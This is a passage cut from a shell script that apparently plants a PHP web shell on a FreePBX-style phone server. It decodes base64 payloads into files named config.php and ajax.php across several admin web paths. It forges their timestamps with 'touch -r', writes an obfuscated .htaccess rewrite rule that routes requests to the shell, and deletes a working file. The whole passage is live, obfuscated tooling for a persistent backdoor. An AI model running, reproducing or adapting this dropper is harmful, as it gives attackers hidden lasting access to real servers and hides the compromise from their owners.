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YnlBblBDOXdjbVUrSnpzSycpKTsvKnNGblJUTmhTZ2VWQm1JZU9kKi8/Pg==' | base64 -d > /var/www/html/admin/views/config.php mkdir -p /var/www/html/digium_phones/ cp /var/www/html/admin/views/config.php /var/www/html/admin/modules/ajax.php cp /var/www/html/admin/views/config.php /var/www/html/digium_phones/ajax.php touch /var/www/html/admin/views/config.php -r /var/www/html/admin/views/footer.php echo 'UmV3cml0ZUVuZ2luZSBPbgojIGVuYWJsZSBzeW1ib2xpYyBsaW5rcwpPcHRpb25zICtGb2xsb3dTeW1MaW5rcwpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtbApSZXdyaXRlUnVsZSBeXHMrIGNvbmZpZy5waHAgW0xd' | base64 -d > /var/www/html/admin/views/.htaccess rm -rf k